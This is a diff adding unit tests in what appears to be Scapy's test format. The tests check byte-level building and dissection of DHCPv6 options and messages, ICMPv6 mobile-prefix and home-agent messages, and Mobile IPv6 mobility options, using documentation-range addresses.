+raw(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1f\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+
+= DHCP6OptSNTPServers - Dissection with specific values (2 addresses)
+a = DHCP6OptSNTPServers(b'\x00\x1f\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02')
+a.optcode == 31 and a.optlen == 32 and len(a.sntpservers) == 2 and a.sntpservers[0] == "2001:db8::1" and a.sntpservers[1] == "2001:db8::2"
+
+############
+############
++ Test DHCP6 Option - Information Refresh Time
+
+= DHCP6OptInfoRefreshTime - Basic Instantiation
+raw(DHCP6OptInfoRefreshTime()) == b'\x00 \x00\x04\x00\x01Q\x80'
+
+= DHCP6OptInfoRefreshTime - Basic Dissction
+a = DHCP6OptInfoRefreshTime(b'\x00 \x00\x04\x00\x01Q\x80')
+a.optcode == 32 and a.optlen == 4 and a.reftime == 86400
+
+= DHCP6OptInfoRefreshTime - Instantiation with specific values
+raw(DHCP6OptInfoRefreshTime(optlen=7, reftime=42)) == b'\x00 \x00\x07\x00\x00\x00*'
+
+############
+############
++ Test DHCP6 Option - BCMCS Servers
+
+= DHCP6OptBCMCSServers - Basic Instantiation
+raw(DHCP6OptBCMCSServers()) == b'\x00"\x00\x00'
+
+= DHCP6OptBCMCSServers - Basic Dissection
+a = DHCP6OptBCMCSServers(b'\x00"\x00\x00')
+a.optcode == 34 and a. optlen == 0 and a.bcmcsservers == []
+
+= DHCP6OptBCMCSServers - Instantiation with specific values (1 address)
+raw(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1"] )) == b'\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= DHCP6OptBCMCSServers - Dissection with specific values (1 address)
+a = DHCP6OptBCMCSServers(b'\x00"\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.optcode == 34 and a.optlen == 16 and len(a.bcmcsservers) == 1 and a.bcmcsservers[0] == "2001:db8::1" 
+
+= DHCP6OptBCMCSServers - Instantiation with specific values (2 addresses)
+raw(DHCP6OptBCMCSServers(bcmcsservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00"\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+
+= DHCP6OptBCMCSServers - Dissection with specific values (2 addresses)
+a = DHCP6OptBCMCSServers(b'\x00"\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02')
+a.optcode == 34 and a.optlen == 32 and len(a.bcmcsservers) == 2 and a.bcmcsservers[0] == "2001:db8::1" and a.bcmcsservers[1] == "2001:db8::2"
+
+
+############
+############
++ Test DHCP6 Option - BCMCS Domains
+
+= DHCP6OptBCMCSDomains - Basic Instantiation
+raw(DHCP6OptBCMCSDomains()) == b'\x00!\x00\x00'
+
+= DHCP6OptBCMCSDomains - Basic Dissection
+a = DHCP6OptBCMCSDomains(b'\x00!\x00\x00')
+a.optcode == 33 and a.optlen == 0 and a.bcmcsdomains == []
+
+= DHCP6OptBCMCSDomains - Instantiation with specific values (1 domain) 
+raw(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com."])) == b'\x00!\x00\x12\x04toto\x07example\x03com\x00'
+
+= DHCP6OptBCMCSDomains - Dissection with specific values (1 domain) 
+a = DHCP6OptBCMCSDomains(b'\x00!\x00\x12\x04toto\x07example\x03com\x00')
+a.optcode == 33 and a.optlen == 18 and len(a.bcmcsdomains) == 1 and a.bcmcsdomains[0] == "toto.example.com."
+
+= DHCP6OptBCMCSDomains - Instantiation with specific values (2 domains) 
+raw(DHCP6OptBCMCSDomains(bcmcsdomains=["toto.example.com.", "titi.example.com."])) == b'\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00'
+
+= DHCP6OptBCMCSDomains - Dissection with specific values (2 domains) 
+a = DHCP6OptBCMCSDomains(b'\x00!\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00')
+a.optcode == 33 and a.optlen == 36 and len(a.bcmcsdomains) == 2 and a.bcmcsdomains[0] == "toto.example.com." and a.bcmcsdomains[1] == "titi.example.com."
+
+
+############
+############
++ Test DHCP6 Option - Relay Agent Remote-ID
+
+= DHCP6OptRemoteID - Basic Instantiation
+raw(DHCP6OptRemoteID()) == b'\x00%\x00\x04\x00\x00\x00\x00'
+
+= DHCP6OptRemoteID - Basic Dissection
+a = DHCP6OptRemoteID(b'\x00%\x00\x04\x00\x00\x00\x00')
+a.optcode == 37 and a.optlen == 4 and a.enterprisenum == 0 and a.remoteid == b""
+
+= DHCP6OptRemoteID - Instantiation with specific values 
+raw(DHCP6OptRemoteID(enterprisenum=0xeeeeeeee, remoteid="someid")) == b'\x00%\x00\n\xee\xee\xee\xeesomeid'
+
+= DHCP6OptRemoteID - Dissection with specific values
+a = DHCP6OptRemoteID(b'\x00%\x00\n\xee\xee\xee\xeesomeid')
+a.optcode == 37 and a.optlen == 10 and a.enterprisenum == 0xeeeeeeee and a.remoteid == b"someid"
+
+
+############
+############
++ Test DHCP6 Option - Subscriber ID
+
+= DHCP6OptSubscriberID - Basic Instantiation
+raw(DHCP6OptSubscriberID()) == b'\x00&\x00\x00'
+
+= DHCP6OptSubscriberID - Basic Dissection
+a = DHCP6OptSubscriberID(b'\x00&\x00\x00')
+a.optcode == 38 and a.optlen == 0 and a.subscriberid == b""
+
+= DHCP6OptSubscriberID - Instantiation with specific values
+raw(DHCP6OptSubscriberID(subscriberid="someid")) == b'\x00&\x00\x06someid'
+
+= DHCP6OptSubscriberID - Dissection with specific values
+a = DHCP6OptSubscriberID(b'\x00&\x00\x06someid')
+a.optcode == 38 and a.optlen == 6 and a.subscriberid == b"someid"
+
+
+############
+############
++ Test DHCP6 Option - Client FQDN
+
+= DHCP6OptClientFQDN - Basic Instantiation
+raw(DHCP6OptClientFQDN()) == b"\x00'\x00\x01\x00"
+
+= DHCP6OptClientFQDN - Basic Dissection
+a = DHCP6OptClientFQDN(b"\x00'\x00\x01\x00")
+a.optcode == 39 and a.optlen == 1 and a.res == 0 and a.flags == 0 and a.fqdn == b""
+
+= DHCP6OptClientFQDN - Instantiation with various flags combinations
+raw(DHCP6OptClientFQDN(flags="S")) == b"\x00'\x00\x01\x01" and raw(DHCP6OptClientFQDN(flags="O")) == b"\x00'\x00\x01\x02" and raw(DHCP6OptClientFQDN(flags="N")) == b"\x00'\x00\x01\x04" and raw(DHCP6OptClientFQDN(flags="SON")) == b"\x00'\x00\x01\x07" and raw(DHCP6OptClientFQDN(flags="ON")) == b"\x00'\x00\x01\x06"
+
+= DHCP6OptClientFQDN - Instantiation with one fqdn 
+raw(DHCP6OptClientFQDN(fqdn="toto.example.org")) == b"\x00'\x00\x12\x00\x04toto\x07example\x03org"
+
+= DHCP6OptClientFQDN - Dissection with one fqdn 
+a = DHCP6OptClientFQDN(b"\x00'\x00\x12\x00\x04toto\x07example\x03org\x00")
+a.optcode == 39 and a.optlen == 18 and a.res == 0 and a.flags == 0 and a.fqdn == b"toto.example.org"
+
+
+############
+############
++ Test DHCP6 Option Relay Agent Echo Request Option
+
+= DHCP6OptRelayAgentERO - Basic Instantiation
+raw(DHCP6OptRelayAgentERO()) ==  b'\x00+\x00\x04\x00\x17\x00\x18'
+
+= DHCP6OptRelayAgentERO - optlen field computation
+raw(DHCP6OptRelayAgentERO(reqopts=[1,2,3,4])) == b'\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04'
+
+= DHCP6OptRelayAgentERO - instantiation with empty list
+raw(DHCP6OptRelayAgentERO(reqopts=[])) == b'\x00+\x00\x00'
+
+= DHCP6OptRelayAgentERO - Basic dissection
+a=DHCP6OptRelayAgentERO(b'\x00+\x00\x00')
+a.optcode == 43 and a.optlen == 0 and a.reqopts == [23,24]
+
+= DHCP6OptRelayAgentERO - Dissection with specific value
+a=DHCP6OptRelayAgentERO(b'\x00+\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04')
+a.optcode == 43 and a.optlen == 8 and a.reqopts == [1,2,3,4]
+
+
+############
+############
++ Test DHCP6 Option Client Link Layer address
+
+= Basic build & dissect
+s = raw(DHCP6OptClientLinkLayerAddr())
+assert(s == b"\x00O\x00\x07\x00\x01\x00\x00\x00\x00\x00\x00")
+
+p = DHCP6OptClientLinkLayerAddr(s)
+assert(p.clladdr == "00:00:00:00:00:00")
+
+
+############
+############
++ Test DHCP6 Option Virtual Subnet Selection
+
+= Basic build & dissect
+s = raw(DHCP6OptVSS())
+assert(s == b"\x00D\x00\x01\xff")
+
+p = DHCP6OptVSS(s)
+assert(p.type == 255)
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Solicit
+
+= DHCP6_Solicit - Basic Instantiation
+raw(DHCP6_Solicit()) == b'\x01\x00\x00\x00'
+
+= DHCP6_Solicit - Basic Dissection
+a = DHCP6_Solicit(b'\x01\x00\x00\x00')
+a.msgtype == 1 and a.trid == 0
+
+= DHCP6_Solicit - Basic test of DHCP6_solicit.hashret() 
+DHCP6_Solicit().hashret() == b'\x00\x00\x00'
+
+= DHCP6_Solicit - Test of DHCP6_solicit.hashret() with specific values
+DHCP6_Solicit(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd'
+
+= DHCP6_Solicit - UDP ports overload
+a=UDP()/DHCP6_Solicit()
+a.sport == 546 and a.dport == 547
+
+= DHCP6_Solicit - Dispatch based on UDP port 
+a=UDP(raw(UDP()/DHCP6_Solicit()))
+isinstance(a.payload, DHCP6_Solicit)
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Advertise
+
+= DHCP6_Advertise - Basic Instantiation
+raw(DHCP6_Advertise()) == b'\x02\x00\x00\x00'
+
+= DHCP6_Advertise - Basic test of DHCP6_solicit.hashret() 
+DHCP6_Advertise().hashret() == b'\x00\x00\x00'
+
+= DHCP6_Advertise - Test of DHCP6_Advertise.hashret() with specific values
+DHCP6_Advertise(trid=0xbbccdd).hashret() == b'\xbb\xcc\xdd'
+
+= DHCP6_Advertise - Basic test of answers() with solicit message
+a = DHCP6_Solicit()
+b = DHCP6_Advertise()
+a > b
+
+= DHCP6_Advertise - Test of answers() with solicit message
+a = DHCP6_Solicit(trid=0xbbccdd)
+b = DHCP6_Advertise(trid=0xbbccdd)
+a > b
+
+= DHCP6_Advertise - UDP ports overload
+a=UDP()/DHCP6_Advertise()
+a.sport == 547 and a.dport == 546
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Request
+
+= DHCP6_Request - Basic Instantiation
+raw(DHCP6_Request()) == b'\x03\x00\x00\x00'
+
+= DHCP6_Request - Basic Dissection
+a=DHCP6_Request(b'\x03\x00\x00\x00')
+a.msgtype == 3 and a.trid == 0 
+
+= DHCP6_Request - UDP ports overload
+a=UDP()/DHCP6_Request()
+a.sport == 546 and a.dport == 547
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Confirm
+
+= DHCP6_Confirm - Basic Instantiation
+raw(DHCP6_Confirm()) == b'\x04\x00\x00\x00'
+
+= DHCP6_Confirm - Basic Dissection
+a=DHCP6_Confirm(b'\x04\x00\x00\x00')
+a.msgtype == 4 and a.trid == 0
+
+= DHCP6_Confirm - UDP ports overload
+a=UDP()/DHCP6_Confirm()
+a.sport == 546 and a.dport == 547
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Renew
+
+= DHCP6_Renew - Basic Instantiation
+raw(DHCP6_Renew()) == b'\x05\x00\x00\x00'
+
+= DHCP6_Renew - Basic Dissection
+a=DHCP6_Renew(b'\x05\x00\x00\x00')
+a.msgtype == 5 and a.trid == 0
+
+= DHCP6_Renew - UDP ports overload
+a=UDP()/DHCP6_Renew()
+a.sport == 546 and a.dport == 547
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Rebind
+
+= DHCP6_Rebind - Basic Instantiation
+raw(DHCP6_Rebind()) == b'\x06\x00\x00\x00'
+
+= DHCP6_Rebind - Basic Dissection
+a=DHCP6_Rebind(b'\x06\x00\x00\x00')
+a.msgtype == 6 and a.trid == 0
+
+= DHCP6_Rebind - UDP ports overload
+a=UDP()/DHCP6_Rebind()
+a.sport == 546 and a.dport == 547
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Reply
+
+= DHCP6_Reply - Basic Instantiation
+raw(DHCP6_Reply()) == b'\x07\x00\x00\x00'
+
+= DHCP6_Reply - Basic Dissection
+a=DHCP6_Reply(b'\x07\x00\x00\x00')
+a.msgtype == 7 and a.trid == 0
+
+= DHCP6_Reply - UDP ports overload
+a=UDP()/DHCP6_Reply()
+a.sport == 547 and a.dport == 546
+
+= DHCP6_Reply - Answers
+
+assert not DHCP6_Reply(trid=0).answers(DHCP6_Request(trid=1))
+assert DHCP6_Reply(trid=1).answers(DHCP6_Request(trid=1))
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Release
+
+= DHCP6_Release - Basic Instantiation
+raw(DHCP6_Release()) == b'\x08\x00\x00\x00'
+
+= DHCP6_Release - Basic Dissection
+a=DHCP6_Release(b'\x08\x00\x00\x00')
+a.msgtype == 8 and a.trid == 0
+
+= DHCP6_Release - UDP ports overload
+a=UDP()/DHCP6_Release()
+a.sport == 546 and a.dport == 547
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Decline
+
+= DHCP6_Decline - Basic Instantiation
+raw(DHCP6_Decline()) == b'\x09\x00\x00\x00'
+
+= DHCP6_Confirm - Basic Dissection
+a=DHCP6_Confirm(b'\x09\x00\x00\x00')
+a.msgtype == 9 and a.trid == 0
+
+= DHCP6_Decline - UDP ports overload
+a=UDP()/DHCP6_Decline()
+a.sport == 546 and a.dport == 547
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_Reconf
+
+= DHCP6_Reconf - Basic Instantiation
+raw(DHCP6_Reconf()) == b'\x0A\x00\x00\x00'
+
+= DHCP6_Reconf - Basic Dissection
+a=DHCP6_Reconf(b'\x0A\x00\x00\x00')
+a.msgtype == 10 and a.trid == 0
+
+= DHCP6_Reconf - UDP ports overload
+a=UDP()/DHCP6_Reconf()
+a.sport == 547 and a.dport == 546
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_InfoRequest
+
+= DHCP6_InfoRequest - Basic Instantiation
+raw(DHCP6_InfoRequest()) == b'\x0B\x00\x00\x00'
+
+= DHCP6_InfoRequest - Basic Dissection
+a=DHCP6_InfoRequest(b'\x0B\x00\x00\x00')
+a.msgtype == 11 and a.trid == 0
+
+= DHCP6_InfoRequest - UDP ports overload
+a=UDP()/DHCP6_InfoRequest()
+a.sport == 546 and a.dport == 547
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6_RelayForward
+
+= DHCP6_RelayForward - Basic Instantiation
+raw(DHCP6_RelayForward()) == b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6_RelayForward - Basic Dissection
+a=DHCP6_RelayForward(b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.msgtype == 12 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::"
+
+= DHCP6_RelayForward - Dissection with options
+a = DHCP6_RelayForward(b'\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x04\x00\x01\x00\x00')
+a.msgtype == 12 and DHCP6OptRelayMsg in a and isinstance(a.message, DHCP6)
+
+
+############
+############
++ Test DHCP6 Messages - DHCP6OptRelayMsg
+
+= DHCP6OptRelayMsg - Basic Instantiation
+raw(DHCP6OptRelayMsg(optcode=37)) == b'\x00%\x00\x04\x00\x00\x00\x00'
+
+= DHCP6OptRelayMsg - Basic Dissection
+a=DHCP6OptRelayMsg(b'\x00\r\x00\x00')
+assert a.optcode == 13
+
+= DHCP6OptRelayMsg - Embedded DHCP6 packet
+p = DHCP6OptRelayMsg(b'\x00\t\x00\x04\x00\x00\x00\x00')
+isinstance(p.message, DHCP6)
+
+############
+############
++ Test DHCP6 Messages - DHCP6_RelayReply
+
+= DHCP6_RelayReply - Basic Instantiation
+raw(DHCP6_RelayReply()) == b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6_RelayReply - Basic Dissection
+a=DHCP6_RelayReply(b'\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.msgtype == 13 and a.hopcount == 0 and a.linkaddr == "::" and a.peeraddr == "::"
+
+
+############
+############
++ Home Agent Address Discovery
+
+= in6_getha()
+in6_getha('2001:db8::') == '2001:db8::fdff:ffff:ffff:fffe'
+
+= ICMPv6HAADRequest - build/dissection
+p = IPv6(raw(IPv6(dst=in6_getha('2001:db8::'), src='2001:db8::1')/ICMPv6HAADRequest(id=42)))
+p.cksum == 0x9620 and p.dst == '2001:db8::fdff:ffff:ffff:fffe' and p.R == 1
+
+= ICMPv6HAADReply - build/dissection
+p = IPv6(raw(IPv6(dst='2001:db8::1', src='2001:db8::42')/ICMPv6HAADReply(id=42, addresses=['2001:db8::2', '2001:db8::3'])))
+p.cksum = 0x3747 and p.addresses == [ '2001:db8::2', '2001:db8::3' ]
+
+= ICMPv6HAADRequest / ICMPv6HAADReply - build/dissection
+a=ICMPv6HAADRequest(id=42) 
+b=ICMPv6HAADReply(id=42)
+not a < b and a > b
+
+
+############
+############
++ Mobile Prefix Solicitation/Advertisement
+
+= ICMPv6MPSol - build (default values)
+
+s = b'`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00m\xbb\x00\x00\x00\x00'
+raw(IPv6()/ICMPv6MPSol()) == s
+
+= ICMPv6MPSol - dissection (default values)
+p = IPv6(s)
+p[ICMPv6MPSol].type == 146 and p[ICMPv6MPSol].cksum == 0x6dbb and p[ICMPv6MPSol].id == 0
+
+= ICMPv6MPSol - build
+s = b'`\x00\x00\x00\x00\x08:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x92\x00(\x08\x00\x08\x00\x00'
+raw(IPv6()/ICMPv6MPSol(cksum=0x2808, id=8)) == s
+
+= ICMPv6MPSol - dissection
+p = IPv6(s)
+p[ICMPv6MPSol].cksum == 0x2808 and p[ICMPv6MPSol].id == 8
+
+= ICMPv6MPAdv - build (default values)
+s = b'`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00\xe8\xd6\x00\x00\x80\x00\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+raw(IPv6()/ICMPv6MPAdv()/ICMPv6NDOptPrefixInfo()) == s
+
+= ICMPv6MPAdv - dissection (default values)
+p = IPv6(s)
+p[ICMPv6MPAdv].type == 147 and p[ICMPv6MPAdv].cksum == 0xe8d6 and p[ICMPv6NDOptPrefixInfo].prefix == '::'
+
+= ICMPv6MPAdv - build
+s = b'`\x00\x00\x00\x00(:@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x93\x00(\x07\x00*@\x00\x03\x04\x00@\xff\xff\xff\xff\x00\x00\x00\x0c\x00\x00\x00\x00 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+raw(IPv6()/ICMPv6MPAdv(cksum=0x2807, flags=1, id=42)/ICMPv6NDOptPrefixInfo(prefix='2001:db8::1', L=0, preferredlifetime=12)) == s
+
+= ICMPv6MPAdv - dissection
+p = IPv6(s)
+p[ICMPv6MPAdv].cksum == 0x2807 and p[ICMPv6MPAdv].flags == 1 and p[ICMPv6MPAdv].id == 42 and p[ICMPv6NDOptPrefixInfo].prefix == '2001:db8::1' and p[ICMPv6NDOptPrefixInfo].preferredlifetime == 12
+
+
+############
+############
++ Type 2 Routing Header
+
+= IPv6ExtHdrRouting - type 2 - build/dissection
+p = IPv6(raw(IPv6(dst='2001:db8::1', src='2001:db8::2')/IPv6ExtHdrRouting(type=2, addresses=['2001:db8::3'])/ICMPv6EchoRequest()))
+p.type == 2 and len(p.addresses) == 1 and p.cksum == 0x2446
+
+= IPv6ExtHdrRouting - type 2 - hashret
+
+p = IPv6()/IPv6ExtHdrRouting(addresses=["2001:db8::1", "2001:db8::2"])/ICMPv6EchoRequest()
+p.hashret() == b" \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00\x00"
+
+
+############
+############
++ Mobility Options - Binding Refresh Advice
+
+= MIP6OptBRAdvice - build (default values)
+s = b'\x02\x02\x00\x00'
+raw(MIP6OptBRAdvice()) == s
+
+= MIP6OptBRAdvice - dissection (default values)
+p = MIP6OptBRAdvice(s)
+p.otype == 2 and p.olen == 2 and p.rinter == 0
+
+= MIP6OptBRAdvice - build
+s = b'\x03*\n\xf7'
+raw(MIP6OptBRAdvice(otype=3, olen=42, rinter=2807)) == s
+
+= MIP6OptBRAdvice - dissection
+p = MIP6OptBRAdvice(s)
+p.otype == 3 and p.olen == 42 and p.rinter == 2807
+
+
+############
+############
++ Mobility Options - Alternate Care-of Address
+
+= MIP6OptAltCoA - build (default values)
+s = b'\x03\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+raw(MIP6OptAltCoA()) == s
+
+= MIP6OptAltCoA - dissection (default values)
+p = MIP6OptAltCoA(s)
+p.otype == 3 and p.olen == 16 and p.acoa == '::'
+
+= MIP6OptAltCoA - build
+s = b'*\x08 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+raw(MIP6OptAltCoA(otype=42, olen=8, acoa='2001:db8::1')) == s
+
+= MIP6OptAltCoA - dissection
+p = MIP6OptAltCoA(s)
+p.otype == 42 and p.olen == 8 and p.acoa == '2001:db8::1'
+
+
+############
+############
++ Mobility Options - Nonce Indices
+
+= MIP6OptNonceIndices - build (default values)
+s = b'\x04\x10\x00\x00\x00\x00'
+raw(MIP6OptNonceIndices()) == s
+
+= MIP6OptNonceIndices - dissection (default values)
+p = MIP6OptNonceIndices(s)
+p.otype == 4 and p.olen == 16 and p.hni == 0 and p.coni == 0
+
+= MIP6OptNonceIndices - build
+s = b'\x04\x12\x00\x13\x00\x14'
+raw(MIP6OptNonceIndices(olen=18, hni=19, coni=20)) == s
+
+= MIP6OptNonceIndices - dissection
+p = MIP6OptNonceIndices(s)
+p.hni == 19 and p.coni == 20
+
+
+############
+############
++ Mobility Options - Binding Authentication Data
+
+= MIP6OptBindingAuthData - build (default values)
+s = b'\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+raw(MIP6OptBindingAuthData()) == s
+
+= MIP6OptBindingAuthData - dissection (default values)
+p = MIP6OptBindingAuthData(s)
+p.otype == 5 and p.olen == 16 and p.authenticator == 0
+
+= MIP6OptBindingAuthData - build
+s = b'\x05*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xf7'
+raw(MIP6OptBindingAuthData(olen=42, authenticator=2807)) == s
+
+= MIP6OptBindingAuthData - dissection
+p = MIP6OptBindingAuthData(s)
+p.otype == 5 and p.olen == 42 and p.authenticator == 2807
+
+
+############
+############
++ Mobility Options - Mobile Network Prefix
+
+= MIP6OptMobNetPrefix - build (default values)
+s = b'\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+raw(MIP6OptMobNetPrefix()) == s
+
+= MIP6OptMobNetPrefix - dissection (default values)
+p = MIP6OptMobNetPrefix(s)
+p.otype == 6 and p.olen == 18 and p.plen == 64 and p.prefix == '::'
+
+= MIP6OptMobNetPrefix - build
+s = b'\x06*\x02  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+raw(MIP6OptMobNetPrefix(olen=42, reserved=2, plen=32, prefix='2001:db8::')) == s
+
+= MIP6OptMobNetPrefix - dissection
+p = MIP6OptMobNetPrefix(s)
+p.olen ==  42 and p.reserved  == 2 and p.plen == 32 and p.prefix == '2001:db8::'
+
+
+############
+############
++ Mobility Options - Link-Layer Address (MH-LLA)
+
+= MIP6OptLLAddr - basic build
+raw(MIP6OptLLAddr()) == b'\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00'
+
+= MIP6OptLLAddr - basic dissection
+p = MIP6OptLLAddr(b'\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00')
+p.otype == 7 and p.olen == 7 and p.ocode == 2 and p.pad == 0 and p.lla == "00:00:00:00:00:00"
+
+= MIP6OptLLAddr - build with specific values
+raw(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE')) == b'\x07*\x04\xff\xee\xee\xee\xee\xee\xee'
+
+= MIP6OptLLAddr - dissection with specific values
+p = MIP6OptLLAddr(b'\x07*\x04\xff\xee\xee\xee\xee\xee\xee')
+
+raw(MIP6OptLLAddr(olen=42, ocode=4, pad=0xff, lla='EE:EE:EE:EE:EE:EE'))
+p.otype == 7 and p.olen == 42 and p.ocode == 4 and p.pad == 0xff and p.lla == "ee:ee:ee:ee:ee:ee"
+
+
+############
+############
++ Mobility Options - Mobile Node Identifier
+
+= MIP6OptMNID - basic build
+raw(MIP6OptMNID()) == b'\x08\x01\x01'
+
+= MIP6OptMNID - basic dissection
+p = MIP6OptMNID(b'\x08\x01\x01')
+p.otype == 8 and p.olen == 1 and p.subtype == 1 and p.id == b""
+
+= MIP6OptMNID - build with specific values
+raw(MIP6OptMNID(subtype=42, id="someid")) == b'\x08\x07*someid'
+
+= MIP6OptMNID - dissection with specific values
+p = MIP6OptMNID(b'\x08\x07*someid')
+p.otype == 8 and p.olen == 7 and p.subtype == 42 and p.id == b"someid"
+
+
+
+############
+############
++ Mobility Options - Message Authentication
+
+= MIP6OptMsgAuth - basic build
+raw(MIP6OptMsgAuth()) == b'\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA'
+
+= MIP6OptMsgAuth - basic dissection
+p = MIP6OptMsgAuth(b'\x09\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA')
+p.otype == 9 and p.olen == 17 and p.subtype == 1 and p.mspi == 0 and p.authdata == b"A"*12
+
+= MIP6OptMsgAuth - build with specific values
+raw(MIP6OptMsgAuth(authdata="B"*16, mspi=0xeeeeeeee, subtype=0xff)) == b'\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB'
+
+= MIP6OptMsgAuth - dissection with specific values
+p = MIP6OptMsgAuth(b'\t\x15\xff\xee\xee\xee\xeeBBBBBBBBBBBBBBBB')
+p.otype == 9 and p.olen == 21 and p.subtype == 255 and p.mspi == 0xeeeeeeee and p.authdata == b"B"*16
+
+
+############
+############
++ Mobility Options - Replay Protection
+
+= MIP6OptReplayProtection - basic build
+raw(MIP6OptReplayProtection()) == b'\n\x08\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= MIP6OptReplayProtection - basic dissection
+p = MIP6OptReplayProtection(b'\n\x08\x00\x00\x00\x00\x00\x00\x00\x00')
+p.otype == 10 and p.olen == 8 and p.timestamp == 0
+
+= MIP6OptReplayProtection - build with specific values
+s = raw(MIP6OptReplayProtection(olen=42, timestamp=(72*31536000)<<32))
+s == b'\n*\x87V|\x00\x00\x00\x00\x00'
+
+= MIP6OptReplayProtection - dissection with specific values
+p = MIP6OptReplayProtection(s)
+p.otype == 10 and p.olen == 42 and p.timestamp == 9752118382559232000
+p.fields_desc[-1].i2repr("", p.timestamp) == 'Mon, 13 Dec 1971 23:50:39 +0000 (9752118382559232000)'
+
+
+############
+############
++ Mobility Options - CGA Parameters
+= MIP6OptCGAParams
+
+
+############
+############
++ Mobility Options - Signature
+= MIP6OptSignature
+
+
+############
+############
++ Mobility Options - Permanent Home Keygen Token
+= MIP6OptHomeKeygenToken
+
+
+############
+############
++ Mobility Options - Care-of Test Init
+= MIP6OptCareOfTestInit
+
+
+############
+############
++ Mobility Options - Care-of Test
+= MIP6OptCareOfTest
+
+
+############
+############
